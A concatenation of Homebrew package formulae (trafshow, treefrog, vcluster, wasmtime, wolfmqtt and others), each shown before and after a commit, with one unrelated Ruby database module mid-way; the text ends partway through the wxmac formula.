require 'formula' class Trafshow < Formula homepage 'http://soft.risp.ru/trafshow/index_en.shtml' url 'ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/trafshow-5.2.3.tgz' sha1 '1c68f603f12357e932c83de850366c9b46e53d89' depends_on :libtool def patches files = %w[patch-domain_resolver.c patch-colormask.c patch-trafshow.c patch-trafshow.1 patch-configure] { :p0 => files.collect{|p| "https://trac.macports.org/export/68507/trunk/dports/net/trafshow/files/#{p}"} } end def copy_libtool_files! if not MacOS::Xcode.provides_autotools? s = Formula.factory('libtool').share d = "#{s}/libtool/config" cp ["#{d}/config.guess", "#{d}/config.sub"], "." elsif MacOS.leopard? cp Dir["#{MacOS.xcode_prefix}/usr/share/libtool/config.*"], "." else cp Dir["#{MacOS.xcode_prefix}/usr/share/libtool/config/config.*"], "." end end def install copy_libtool_files! system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}", "--disable-slang" system "make" bin.install "trafshow" man1.install "trafshow.1" etc.install ".trafshow" => "trafshow.default" end end trafshow: update xcode method Signed-off-by: Jack Nagel <43386ce32af96f5c56f2a88e458cb94cebee3751@gmail.com> require 'formula' class Trafshow < Formula homepage 'http://soft.risp.ru/trafshow/index_en.shtml' url 'ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/trafshow-5.2.3.tgz' sha1 '1c68f603f12357e932c83de850366c9b46e53d89' depends_on :libtool def patches files = %w[patch-domain_resolver.c patch-colormask.c patch-trafshow.c patch-trafshow.1 patch-configure] { :p0 => files.collect{|p| "https://trac.macports.org/export/68507/trunk/dports/net/trafshow/files/#{p}"} } end def copy_libtool_files! if not MacOS::Xcode.provides_autotools? s = Formula.factory('libtool').share d = "#{s}/libtool/config" cp ["#{d}/config.guess", "#{d}/config.sub"], "." elsif MacOS.leopard? cp Dir["#{MacOS::Xcode.prefix}/usr/share/libtool/config.*"], "." else cp Dir["#{MacOS::Xcode.prefix}/usr/share/libtool/config/config.*"], "." end end def install copy_libtool_files! system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}", "--disable-slang" system "make" bin.install "trafshow" man1.install "trafshow.1" etc.install ".trafshow" => "trafshow.default" end end
class Treefrog < Formula desc "High-speed C++ MVC Framework for Web Application" homepage "https://www.treefrogframework.org/" url "https://github.com/treefrogframework/treefrog-framework/archive/v1.31.1.tar.gz" sha256 "282197f1735f7766a804e1f06e29b45754e082db2eb596edcd929f8e308b2887" license "BSD-3-Clause" head "https://github.com/treefrogframework/treefrog-framework.git" livecheck do url :head regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 big_sur: "8af96d330e176d4cc0cc842ac4773ffb65259ab3e5bdab4d9c7130a185978c52" sha256 catalina: "034a80dd1abd63f9afcb7ddd5753ed69f70806ad2f63d0511c8dbde706f8f3ee" sha256 mojave: "53c4e5ced4f597347ca95fb3b2c6359ce964f3f094ee3032e2d2da6f7016e090" sha256 high_sierra: "0c31aaf7a5199f8b409288fc3e5fd5d4e154b23e8be83354e1ed8e0fd4bb13ec" end depends_on xcode: :build depends_on "mongo-c-driver" depends_on "qt@5" def install system "./configure", "--prefix=#{prefix}", "--enable-shared-mongoc" cd "src" do system "make" system "make", "install" end cd "tools" do system "make" system "make", "install" end end test do ENV.delete "CPATH" system bin/"tspawn", "new", "hello" assert_predicate testpath/"hello", :exist? cd "hello" do assert_predicate Pathname.pwd/"hello.pro", :exist? system Formula["qt@5"].opt_bin/"qmake" assert_predicate Pathname.pwd/"Makefile", :exist? system "make" system bin/"treefrog", "-v" end end end treefrog: update 1.31.1 bottle. class Treefrog < Formula desc "High-speed C++ MVC Framework for Web Application" homepage "https://www.treefrogframework.org/" url "https://github.com/treefrogframework/treefrog-framework/archive/v1.31.1.tar.gz" sha256 "282197f1735f7766a804e1f06e29b45754e082db2eb596edcd929f8e308b2887" license "BSD-3-Clause" head "https://github.com/treefrogframework/treefrog-framework.git" livecheck do url :head regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 big_sur: "d865266f65ca621ad8cc3f479ab5a80163b780d9a7507b95c0ce7d9dbda274ff" sha256 catalina: "753c0f6725a75a4c61c50c9ba82c69d17a45adefc462c07942d8780e5fdb7080" sha256 mojave: "a3a7ed90190f54b848c92998924243bf376d9a4e13f44a03ef1212d4e83cd163" end depends_on xcode: :build depends_on "mongo-c-driver" depends_on "qt@5" def install system "./configure", "--prefix=#{prefix}", "--enable-shared-mongoc" cd "src" do system "make" system "make", "install" end cd "tools" do system "make" system "make", "install" end end test do ENV.delete "CPATH" system bin/"tspawn", "new", "hello" assert_predicate testpath/"hello", :exist? cd "hello" do assert_predicate Pathname.pwd/"hello.pro", :exist? system Formula["qt@5"].opt_bin/"qmake" assert_predicate Pathname.pwd/"Makefile", :exist? system "make" system bin/"treefrog", "-v" end end end
class Vcluster < Formula desc "Creates fully functional virtual k8s cluster inside host k8s cluster's namespace" homepage "https://www.vcluster.com" url "https://github.com/loft-sh/vcluster.git", tag: "v0.12.0", revision: "eba499bcdff242e4ca73c9450020f9fb4ab9afa7" license "Apache-2.0" head "https://github.com/loft-sh/vcluster.git", branch: "main" bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "03fec4fe31101046f722609eaa18b8cb56c52ff0dc30c5bb53d9ea305dbe586d" sha256 cellar: :any_skip_relocation, arm64_big_sur: "eaafb6de49a4c966f96d710202a66f0bc63aaeabae31354f67d5f5d7ef3ca54c" sha256 monterey: "9edea9d99795dab63afe90c181b2f6d16b4bd1ed4611a97b9f2425ff1f2d0bd5" sha256 big_sur: "63e20c3f184ae9eeb2d3696c337cce0b09ab8046e3a791ab05e496b45d186bf3" sha256 catalina: "e117c7ae15a9590b8893aaa928bee6e2efe90f305e778f5f9c7e82db6a53892c" sha256 cellar: :any_skip_relocation, x86_64_linux: "ede12f1c9298a4831ec0ad567f27d711b09577beba4abc0ce5c918a29b3ef9a8" end depends_on "go" => :build depends_on "helm" depends_on "kubernetes-cli" def install ldflags = %W[ -s -w -X main.commitHash=#{Utils.git_head} -X main.buildDate=#{time.iso8601} -X main.version=#{version} ] system "go", "build", "-mod", "vendor", *std_go_args(ldflags: ldflags), "./cmd/vclusterctl/main.go" generate_completions_from_executable(bin/"vcluster", "completion", shells: [:zsh, :bash]) end test do help_output = "vcluster root command" assert_match help_output, shell_output("#{bin}/vcluster --help") create_output = "there is an error loading your current kube config " \ "(invalid configuration: no configuration has been provided, " \ "try setting KUBERNETES_MASTER environment variable), " \ "please make sure you have access to a kubernetes cluster and the command " \ "`kubectl get namespaces` is working" assert_match create_output, shell_output("#{bin}/vcluster create vcluster -n vcluster --create-namespace", 1) end end vcluster: update 0.12.0 bottle. class Vcluster < Formula desc "Creates fully functional virtual k8s cluster inside host k8s cluster's namespace" homepage "https://www.vcluster.com" url "https://github.com/loft-sh/vcluster.git", tag: "v0.12.0", revision: "eba499bcdff242e4ca73c9450020f9fb4ab9afa7" license "Apache-2.0" head "https://github.com/loft-sh/vcluster.git", branch: "main" bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "58c259a7e59a67d9359c2f805988fdf00657e9fa9d247fc85473275e41f16291" sha256 cellar: :any_skip_relocation, arm64_big_sur: "e39866d1f075e2ee00796a2f6f3f430066bbc330ea5f540e635b823be229e955" sha256 monterey: "21010b445b655663c5679ee2c3cac5b2286bd0e2a1534bef6b4dfcf94bc1ab4b" sha256 big_sur: "891c16de3f14e1c5c0127e0bf103b28e0bd37091fda87013384c4ecd7714c93f" sha256 catalina: "325f1d4a300b02200bc0e1ce9d142f14cfba243b9ae9c7c85a5c1a45b1fceeda" sha256 cellar: :any_skip_relocation, x86_64_linux: "ed74f2631e7c981a6b07e719e492851287e25a776d03bf92f9bde473499677ae" end depends_on "go" => :build depends_on "helm" depends_on "kubernetes-cli" def install ldflags = %W[ -s -w -X main.commitHash=#{Utils.git_head} -X main.buildDate=#{time.iso8601} -X main.version=#{version} ] system "go", "build", "-mod", "vendor", *std_go_args(ldflags: ldflags), "./cmd/vclusterctl/main.go" generate_completions_from_executable(bin/"vcluster", "completion", shells: [:zsh, :bash]) end test do help_output = "vcluster root command" assert_match help_output, shell_output("#{bin}/vcluster --help") create_output = "there is an error loading your current kube config " \ "(invalid configuration: no configuration has been provided, " \ "try setting KUBERNETES_MASTER environment variable), " \ "please make sure you have access to a kubernetes cluster and the command " \ "`kubectl get namespaces` is working" assert_match create_output, shell_output("#{bin}/vcluster create vcluster -n vcluster --create-namespace", 1) end end
require 'formula' class Vimpager < Formula homepage 'https://github.com/rkitover/vimpager' url 'https://github.com/rkitover/vimpager/tarball/1.7.0' md5 'b82fc92c39ccce712961427216561603' head 'https://github.com/rkitover/vimpager.git' def install inreplace 'vimpager.1', '~/bin/', '' bin.install 'vimpager' man1.install gzip('vimpager.1') end def caveats; <<-EOS.undent To use vimpager as your default pager, add `export PAGER=vimpager` to your shell configuration. EOS end end vimpager v1.7.1 Closes Homebrew/homebrew#13553. Signed-off-by: Mike McQuaid <a17fed27eaa842282862ff7c1b9c8395a26ac320@mikemcquaid.com> require 'formula' class Vimpager < Formula homepage 'https://github.com/rkitover/vimpager' url 'https://github.com/rkitover/vimpager/tarball/1.7.1' md5 'be130d49deaa5c8914ec0f475c561379' head 'https://github.com/rkitover/vimpager.git' def install inreplace 'vimpager.1', '~/bin/', '' bin.install 'vimpager' man1.install gzip('vimpager.1') end def caveats; <<-EOS.undent To use vimpager as your default pager, add `export PAGER=vimpager` to your shell configuration. EOS end end
require 'formula' class Virtuoso <Formula url 'http://downloads.sourceforge.net/project/virtuoso/virtuoso/6.1.1/virtuoso-opensource-6.1.1.tar.gz' homepage 'http://virtuoso.openlinksw.com/wiki/main/' md5 '0695bffacf78e53733c27e96c9d7f9e7' # If gawk isn't found, make fails deep into the process. depends_on 'gawk' skip_clean :all def install ENV.m64 if snow_leopard_64? system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make install" end def caveats; <<-EOS.undent NOTE: the Virtuoso server will start up several times on port 1111 during the install process. EOS end end new virtuoso version Signed-off-by: Adam Vandenberg <34c2b6407fd5a10249a15d699d40f9ed1782e98c@gmail.com> require 'formula' class Virtuoso <Formula url 'http://downloads.sourceforge.net/project/virtuoso/virtuoso/6.1.2/virtuoso-opensource-6.1.2.tar.gz' homepage 'http://virtuoso.openlinksw.com/wiki/main/' md5 '0519e1f104428e0c8b25fad89e3c57ef' # If gawk isn't found, make fails deep into the process. depends_on 'gawk' skip_clean :all def install ENV.m64 if snow_leopard_64? system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make install" end def caveats; <<-EOS.undent NOTE: the Virtuoso server will start up several times on port 1111 during the install process. EOS end end
class Wasmtime < Formula desc "Standalone JIT-style runtime for WebAssembly, using Cranelift" homepage "https://wasmtime.dev/" url "https://github.com/bytecodealliance/wasmtime.git", tag: "v0.35.1", revision: "5b09b74f4c5e0fd817febd3263947ee3682759bd" license "Apache-2.0" => { with: "LLVM-exception" } head "https://github.com/bytecodealliance/wasmtime.git", branch: "main" livecheck do url :stable strategy :github_latest end bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "28468355cbc6df6a088843589b55b31cf91b5ab2f5582d93a6093e12c9e2f384" sha256 cellar: :any_skip_relocation, arm64_big_sur: "a9ec5013b23a8d1a15c244c754af82ed15511e484d83772b732c846162ce66fc" sha256 cellar: :any_skip_relocation, monterey: "32c4ac2f9e67c630b742f88d03d8296a164a4412402917a67a068ac51242feec" sha256 cellar: :any_skip_relocation, big_sur: "6a7b57822d0badb97eb114cecfe367a44cac7cf7703cd8a3f68d431b06432553" sha256 cellar: :any_skip_relocation, catalina: "65a265c6e515f09b2663d92cfccf5839a22fccfa1ec6e2d8c1d3804960ab3600" sha256 cellar: :any_skip_relocation, x86_64_linux: "8d6f2046b84063faf324b311c0c340b15b1ba0e1a4f36bd7126b020c177c09e5" end depends_on "rust" => :build def install system "cargo", "install", *std_cargo_args end test do wasm = ["0061736d0100000001070160027f7f017f030201000707010373756d00000a09010700200020016a0b"].pack("H*") (testpath/"sum.wasm").write(wasm) assert_equal "3\n", shell_output("#{bin}/wasmtime #{testpath/"sum.wasm"} --invoke sum 1 2") end end wasmtime: update 0.35.1 bottle. class Wasmtime < Formula desc "Standalone JIT-style runtime for WebAssembly, using Cranelift" homepage "https://wasmtime.dev/" url "https://github.com/bytecodealliance/wasmtime.git", tag: "v0.35.1", revision: "5b09b74f4c5e0fd817febd3263947ee3682759bd" license "Apache-2.0" => { with: "LLVM-exception" } head "https://github.com/bytecodealliance/wasmtime.git", branch: "main" livecheck do url :stable strategy :github_latest end bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "11ead3dd358bb4954c82e1ebef59bf8562c7e63aa65c798bf7f61461c336dea5" sha256 cellar: :any_skip_relocation, arm64_big_sur: "ec3abbaebe108a17f9e8a15376295083170159c66e4277b07ce2684bbcce7aec" sha256 cellar: :any_skip_relocation, monterey: "39f215ebd601fbbb4af27dd1da660f9331587f154cb1279103af9f7f20e23158" sha256 cellar: :any_skip_relocation, big_sur: "89509935fd9c36fa168797eba08731d52846ec6a612d7b52e14963b7d0184baf" sha256 cellar: :any_skip_relocation, catalina: "f63ee2c693766fda802f4f6bff7c7463212215402b12f425ad067b0575637069" sha256 cellar: :any_skip_relocation, x86_64_linux: "1c243a49c3c8447aedf3e86783ba3da20a8ec47af9ce45360fc3455cbbe5afd8" end depends_on "rust" => :build def install system "cargo", "install", *std_cargo_args end test do wasm = ["0061736d0100000001070160027f7f017f030201000707010373756d00000a09010700200020016a0b"].pack("H*") (testpath/"sum.wasm").write(wasm) assert_equal "3\n", shell_output("#{bin}/wasmtime #{testpath/"sum.wasm"} --invoke sum 1 2") end end
class Wolfmqtt < Formula desc "Small, fast, portable MQTT client C implementation" homepage "https://github.com/wolfSSL/wolfMQTT" url "https://github.com/wolfSSL/wolfMQTT.git", :tag => "v1.4", :revision => "af3d2926773b2c97f5e3a86ea2562e339a91b747" head "https://github.com/wolfSSL/wolfMQTT.git" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build depends_on "wolfssl" def install args = %W[ --disable-silent-rules --disable-dependency-tracking --infodir=#{info} --mandir=#{man} --prefix=#{prefix} --sysconfdir=#{etc} --enable-nonblock --enable-mt --enable-mqtt5 --enable-propcb --enable-sn ] system "./autogen.sh" system "./configure", *args system "make" system "make", "install" end test do (testpath/"test.cpp").write <<~EOT #include <wolfmqtt/mqtt_client.h> int main() { MqttClient mqttClient; return 0; } EOT system ENV.cc, "test.cpp", "-L#{lib}", "-lwolfmqtt", "-o", "test" system "./test" end end wolfmqtt: add 1.4 bottle. class Wolfmqtt < Formula desc "Small, fast, portable MQTT client C implementation" homepage "https://github.com/wolfSSL/wolfMQTT" url "https://github.com/wolfSSL/wolfMQTT.git", :tag => "v1.4", :revision => "af3d2926773b2c97f5e3a86ea2562e339a91b747" head "https://github.com/wolfSSL/wolfMQTT.git" bottle do cellar :any sha256 "bd879bda38386592a87d1672c7cb5af944cd6290cff62a1249cfc8ad095a0cd3" => :catalina sha256 "01cf2379343cd396f3bfa3136732a4861cdc7454fe30e0e201153d08453d8c4c" => :mojave sha256 "0ea25c4930469b196fd97e76ef1b4b0e9977dccb9a7147d7f457e1604b7b54d9" => :high_sierra end depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build depends_on "wolfssl" def install args = %W[ --disable-silent-rules --disable-dependency-tracking --infodir=#{info} --mandir=#{man} --prefix=#{prefix} --sysconfdir=#{etc} --enable-nonblock --enable-mt --enable-mqtt5 --enable-propcb --enable-sn ] system "./autogen.sh" system "./configure", *args system "make" system "make", "install" end test do (testpath/"test.cpp").write <<~EOT #include <wolfmqtt/mqtt_client.h> int main() { MqttClient mqttClient; return 0; } EOT system ENV.cc, "test.cpp", "-L#{lib}", "-lwolfmqtt", "-o", "test" system "./test" end end
#TODO: need to refactor to make more efficient require 'sequel' module XYZ class DB module DataProcessingCreate #creates a new instance w/ref_num bumped if needed #TODO: make more efficient by reducing or elimintaing calss to id table as well as using bulk inserts def create_from_hash(id_handle,hash,clone_helper=nil,opts={}) id_info = IDInfoTable.get_row_from_id_handle id_handle, :raise_error => true #check if instance or factory if id_info[:is_factory] create_from_hash_with_factory(id_info[:c],id_info[:uri],hash,clone_helper,opts) else hash.map{|relation_type,child_hash| factory_id_handle = IDInfoTable.get_factory_id_handle(id_handle,relation_type) create_from_hash_with_factory(factory_id_handle[:c],factory_id_handle[:uri],child_hash,clone_helper,opts) }.flatten end end def create_from_select(model_handle,field_set,select,opts={}) duplicate_refs = opts[:duplicate_refs] || :allow #other alternatives: #:no_check | :error_on_dup | :filter_dups columns = field_set.cols sequel_select = select.sequel_ds #add :c if not present unless columns.include?(:c) columns << :c sequel_select = sequel_select.select_more(model_handle[:c]) end #modify sequel_select to reflect duplicate_refs setting ds = dataset(DB_REL_DEF[model_handle[:model_name]]) parent_id_col = model_handle.parent_id_field_name() duplicate_refs = :no_check #: stub case duplicate_refs when :no_check #no op when :filter_dups match_cols = [:c,:ref,parent_id_col] sequel_select = sequel_select.join_table(:left_outer,ds.select(*match_cols),match_cols,{:table_alias => :existing}).where({:existing__c => nil}) end #fn tries to return ids depending on whether db adater supports returning_id if ds.respond_to?(:insert_returning_sql) and parent_id_col returning_ids = Array.new sql = ds.insert_returning_sql([:id,parent_id_col],columns,sequel_select) fetch_raw_sql(sql){|row| returning_ids << row} #TODO: stub for updating the id_table pp returning_ids IDInfoTable.update_instances(model_handle,returning_ids) returning_ids.map{|row|row[:id]} else ds.import(columns,sequel_select) #TODO: need to get ids and set raise Error.new("have not implemented create_from_select when db adapter does not support insert_returning_sql or parent_id_col not set") nil end end def create_simple_instance?(new_uri,c,opts={}) return new_uri if exists? IDHandle[:uri => new_uri, :c => c] ref,factory_uri = RestURI.parse_instance_uri(new_uri) #create parent if does not exists and this is recursive create if opts[:recursive_create] relation_type,parent_uri = RestURI.parse_factory_uri(factory_uri) create_simple_instance?(parent_uri,c,opts) unless parent_uri == "/" or exists? IDHandle[:uri => parent_uri, :c => c] end assignments = opts[:set_display_name] ? {:display_name => ref} : {} create_from_hash(IDHandle[:c => c, :uri => factory_uri, :is_factory => true],{ref => assignments}).first end private def create_from_hash_with_factory(c,factory_uri,hash,clone_helper=nil,opts={}) ret = Array.new hash.each do |ref,assignments| new_item = create_instance(factory_uri,ref,assignments,c,clone_helper,opts) Log.info("created new object: uri=#{new_item[:uri]}; id=#{new_item[:id]}") ret << new_item end ret end def create_instance(factory_uri,ref,assignments,c,clone_helper=nil,opts={}) relation_type,parent_uri = RestURI.parse_factory_uri(factory_uri) db_rel = DB_REL_DEF[relation_type] scalar_assignments = ret_settable_scalar_assignments(assignments,db_rel) obj_assignments = ret_object_assignments(assignments,db_rel) #adding assignments that can be computed at this point indep. of case on parent_uri scalar_assignments.merge!({:ref => ref.to_s}) old_id = scalar_assignments[:id] modify_to_reflect_special_processing!(scalar_assignments,db_rel,:insert,opts) ############# processing scalar columns by inserting a row in db_rel new_id = nil parent_id = nil parent_relation_type = nil if parent_uri == "/" ## if top level object ref_num = compute_ref_num(db_rel,ref,c) #TBD check that the assignments are legal, or trap new_id = insert_into_db(c,db_rel,scalar_assignments.merge({:ref_num => ref_num})) else parent_id_info = IDInfoTable.get_row_from_uri parent_uri,c,:raise_error => true parent_id = parent_id_info[:id] parent_relation_type = parent_id_info[:relation_type] parent_id_field = ret_parent_id_field_name(parent_id_info[:db_rel],db_rel) ref_num = compute_ref_num db_rel,ref,c,parent_id_field => parent_id merge_attrs = {:ref_num => ref_num,parent_id_field => parent_id_info[:id]} #TODO: may fold into modify_to_reflect_special_processing!, but that require sref_num be computed before this call if opts[:sync_display_name_with_ref] and ref_num and ref_num > 1 merge_attrs.merge!(:display_name => "#{ref}-#{ref_num.to_s}") end new_id = insert_into_db(c,db_rel,scalar_assignments.merge(merge_attrs)) end raise Error.new("error while inserting element") if new_id.nil? clone_helper.update(c,db_rel,old_id,new_id,scalar_assignments) if clone_helper new_uri = RestURI::ret_new_uri(factory_uri,ref,ref_num) #need to fill in extra columns in associated uri table entry IDInfoTable.update_instance(db_rel,new_id,new_uri,relation_type,parent_id,parent_relation_type) ############# processing scalar columns by inserting a row in db_rel create_factory_uris_and_contained_objects(new_uri,new_id,relation_type,obj_assignments,c,clone_helper,opts) {:uri => new_uri, :id => new_id} end def create_factory_uris_and_contained_objects(uri,id,relation_type,obj_assignments,c,clone_helper=nil,opts={}) db_rel = DB_REL_DEF[relation_type] return nil if db_rel.nil? #TBD: this probably should be an error child_list = db_rel[:one_to_many] return nil if child_list.nil? child_list.each{|child_type| factory_uri = RestURI.ret_factory_uri(uri,child_type) IDInfoTable.insert_factory(child_type,factory_uri,relation_type,id,c) #TBD: does not check if there are erroneous subobjects on obj_assignments #index can be string or symbol child_hash_or_array = obj_assignments[child_type] || obj_assignments[child_type.to_s] next if child_hash_or_array.nil? if child_hash_or_array.kind_of?(Hash) child_hash_or_array.each{|ref,assignments| create_instance(factory_uri,ref,assignments,c,clone_helper,opts) } elsif child_hash_or_array.kind_of?(Array) child_hash_or_array.each{|child_hash| child_hash.each{|ref,assignments| create_instance(factory_uri,ref,assignments,c,clone_helper,opts) } } end } nil end def compute_ref_num(db_rel,ref,c,constraints={}) ds = dataset(db_rel).where(SQL.and(constraints,{:ref => ref.to_s, CONTEXT_ID => c})) return nil if ds.empty?() max = ds.max(:ref_num) ## empty means that only one exists so return 2; otherwise return max+1 max ? max + 1 : 2 end def insert_into_db(c,db_rel,scalar_assignments) new_id = dataset(db_rel).insert(scalar_assignments.merge({CONTEXT_ID => c})) raise Error.new("Error inserting into table") unless new_id new_id end end end end implemented other 'duplicate ref' modes #TODO: need to refactor to make more efficient require 'sequel' module XYZ class DB module DataProcessingCreate #creates a new instance w/ref_num bumped if needed #TODO: make more efficient by reducing or elimintaing calss to id table as well as using bulk inserts def create_from_hash(id_handle,hash,clone_helper=nil,opts={}) id_info = IDInfoTable.get_row_from_id_handle id_handle, :raise_error => true #check if instance or factory if id_info[:is_factory] create_from_hash_with_factory(id_info[:c],id_info[:uri],hash,clone_helper,opts) else hash.map{|relation_type,child_hash| factory_id_handle = IDInfoTable.get_factory_id_handle(id_handle,relation_type) create_from_hash_with_factory(factory_id_handle[:c],factory_id_handle[:uri],child_hash,clone_helper,opts) }.flatten end end def create_from_select(model_handle,field_set,select,opts={}) duplicate_refs = opts[:duplicate_refs] || :allow #other alternatives: #:no_check | :error_on_duplicate | :filter_duplicates columns = field_set.cols sequel_select = select.sequel_ds #add :c if not present unless columns.include?(:c) columns << :c sequel_select = sequel_select.select_more(model_handle[:c]) end #modify sequel_select to reflect duplicate_refs setting ds = dataset(DB_REL_DEF[model_handle[:model_name]]) parent_id_col = model_handle.parent_id_field_name() duplicate_refs = :no_check #: stub case duplicate_refs when :no_check #no op when :filter_duplicates match_cols = [:c,:ref,parent_id_col] sequel_select = sequel_select.join_table(:left_outer,ds.select(*match_cols),match_cols,{:table_alias => :existing}).where({:existing__c => nil}) when :error_on_duplicate match_cols = [:c,:ref,parent_id_col] #TODO: not right yet pp sequel_select.join_table(:inner,ds.select(*match_cols),match_cols,{:table_alias => :existing}).count when :allow #TODO: not right yet match_cols = [:c,:ref,parent_id_col] pp sequel_select.join_table(:left_outer,ds.select(*match_cols),match_cols,{:table_alias => :existing}).group(*match_cols).select(*(match_cols+[:MAX.sql_function(:ref_num)])).ungraphed.all end #fn tries to return ids depending on whether db adater supports returning_id if ds.respond_to?(:insert_returning_sql) and parent_id_col returning_ids = Array.new sql = ds.insert_returning_sql([:id,parent_id_col],columns,sequel_select) fetch_raw_sql(sql){|row| returning_ids << row} pp returning_ids IDInfoTable.update_instances(model_handle,returning_ids) returning_ids.map{|row|row[:id]} else ds.import(columns,sequel_select) #TODO: need to get ids and set raise Error.new("have not implemented create_from_select when db adapter does not support insert_returning_sql or parent_id_col not set") nil end end def create_simple_instance?(new_uri,c,opts={}) return new_uri if exists? IDHandle[:uri => new_uri, :c => c] ref,factory_uri = RestURI.parse_instance_uri(new_uri) #create parent if does not exists and this is recursive create if opts[:recursive_create] relation_type,parent_uri = RestURI.parse_factory_uri(factory_uri) create_simple_instance?(parent_uri,c,opts) unless parent_uri == "/" or exists? IDHandle[:uri => parent_uri, :c => c] end assignments = opts[:set_display_name] ? {:display_name => ref} : {} create_from_hash(IDHandle[:c => c, :uri => factory_uri, :is_factory => true],{ref => assignments}).first end private def create_from_hash_with_factory(c,factory_uri,hash,clone_helper=nil,opts={}) ret = Array.new hash.each do |ref,assignments| new_item = create_instance(factory_uri,ref,assignments,c,clone_helper,opts) Log.info("created new object: uri=#{new_item[:uri]}; id=#{new_item[:id]}") ret << new_item end ret end def create_instance(factory_uri,ref,assignments,c,clone_helper=nil,opts={}) relation_type,parent_uri = RestURI.parse_factory_uri(factory_uri) db_rel = DB_REL_DEF[relation_type] scalar_assignments = ret_settable_scalar_assignments(assignments,db_rel) obj_assignments = ret_object_assignments(assignments,db_rel) #adding assignments that can be computed at this point indep. of case on parent_uri scalar_assignments.merge!({:ref => ref.to_s}) old_id = scalar_assignments[:id] modify_to_reflect_special_processing!(scalar_assignments,db_rel,:insert,opts) ############# processing scalar columns by inserting a row in db_rel new_id = nil parent_id = nil parent_relation_type = nil if parent_uri == "/" ## if top level object ref_num = compute_ref_num(db_rel,ref,c) #TBD check that the assignments are legal, or trap new_id = insert_into_db(c,db_rel,scalar_assignments.merge({:ref_num => ref_num})) else parent_id_info = IDInfoTable.get_row_from_uri parent_uri,c,:raise_error => true parent_id = parent_id_info[:id] parent_relation_type = parent_id_info[:relation_type] parent_id_field = ret_parent_id_field_name(parent_id_info[:db_rel],db_rel) ref_num = compute_ref_num db_rel,ref,c,parent_id_field => parent_id merge_attrs = {:ref_num => ref_num,parent_id_field => parent_id_info[:id]} #TODO: may fold into modify_to_reflect_special_processing!, but that require sref_num be computed before this call if opts[:sync_display_name_with_ref] and ref_num and ref_num > 1 merge_attrs.merge!(:display_name => "#{ref}-#{ref_num.to_s}") end new_id = insert_into_db(c,db_rel,scalar_assignments.merge(merge_attrs)) end raise Error.new("error while inserting element") if new_id.nil? clone_helper.update(c,db_rel,old_id,new_id,scalar_assignments) if clone_helper new_uri = RestURI::ret_new_uri(factory_uri,ref,ref_num) #need to fill in extra columns in associated uri table entry IDInfoTable.update_instance(db_rel,new_id,new_uri,relation_type,parent_id,parent_relation_type) ############# processing scalar columns by inserting a row in db_rel create_factory_uris_and_contained_objects(new_uri,new_id,relation_type,obj_assignments,c,clone_helper,opts) {:uri => new_uri, :id => new_id} end def create_factory_uris_and_contained_objects(uri,id,relation_type,obj_assignments,c,clone_helper=nil,opts={}) db_rel = DB_REL_DEF[relation_type] return nil if db_rel.nil? #TBD: this probably should be an error child_list = db_rel[:one_to_many] return nil if child_list.nil? child_list.each{|child_type| factory_uri = RestURI.ret_factory_uri(uri,child_type) IDInfoTable.insert_factory(child_type,factory_uri,relation_type,id,c) #TBD: does not check if there are erroneous subobjects on obj_assignments #index can be string or symbol child_hash_or_array = obj_assignments[child_type] || obj_assignments[child_type.to_s] next if child_hash_or_array.nil? if child_hash_or_array.kind_of?(Hash) child_hash_or_array.each{|ref,assignments| create_instance(factory_uri,ref,assignments,c,clone_helper,opts) } elsif child_hash_or_array.kind_of?(Array) child_hash_or_array.each{|child_hash| child_hash.each{|ref,assignments| create_instance(factory_uri,ref,assignments,c,clone_helper,opts) } } end } nil end def compute_ref_num(db_rel,ref,c,constraints={}) ds = dataset(db_rel).where(SQL.and(constraints,{:ref => ref.to_s, CONTEXT_ID => c})) return nil if ds.empty?() max = ds.max(:ref_num) ## empty means that only one exists so return 2; otherwise return max+1 max ? max + 1 : 2 end def insert_into_db(c,db_rel,scalar_assignments) new_id = dataset(db_rel).insert(scalar_assignments.merge({CONTEXT_ID => c})) raise Error.new("Error inserting into table") unless new_id new_id end end end end
require 'formula' class Wrangler < Formula homepage 'http://www.cs.kent.ac.uk/projects/forse/' url 'https://github.com/RefactoringTools/wrangler/archive/wrangler1.1.01.tar.gz' sha1 '' depends_on 'erlang' def install ENV.deparallelize system "./configure", "--prefix=#{prefix}" system "make" system "make install" end end wrangler: checksum require 'formula' class Wrangler < Formula homepage 'http://www.cs.kent.ac.uk/projects/forse/' url 'https://github.com/RefactoringTools/wrangler/archive/wrangler1.1.01.tar.gz' sha1 'fe938912ba3d50796da70572aef3e234c5d8f435' depends_on 'erlang' def install ENV.deparallelize system "./configure", "--prefix=#{prefix}" system "make" system "make install" end end
require 'formula' class Wxpython < Formula # For 2.8, we use this separate formula for wxPython. For 2.9 we use the combined one. url 'http://downloads.sourceforge.net/wxpython/wxPython-src-2.8.12.1.tar.bz2' md5 '8c06c5941477beee213b4f2fa78be620' head 'http://svn.wxwidgets.org/svn/wx/wxPython/trunk/', :using => StrictSubversionDownloadStrategy homepage 'http://www.wxpython.org' end class Wxmac < Formula url 'http://downloads.sourceforge.net/project/wxwindows/2.8.12/wxMac-2.8.12.tar.bz2' md5 '876000a9a9742c3c75a2597afbcb8856' devel do # wxPython 2.9 with 64bit and cocoa support ships a (patched) wxmac: url 'http://sourceforge.net/projects/wxpython/files/wxPython/2.9.3.1/wxPython-src-2.9.3.1.tar.bz2' md5 '11f5a423c05c43b4ff8c9f11f1986f04' end homepage 'http://www.wxwidgets.org' def options [ ['--python', 'Build Python bindings'], ['--devel', 'Using unstable 2.9.x series (But 64-bit & cocoa support!)'] ] end def test_python_arch # wxPython 2.8 does not yet support 64bit. But 2.9 with (--devel) does! unless ARGV.build_devel? begin system "arch -i386 python --version" rescue onoe "No python on path or default python does not support 32-bit." puts 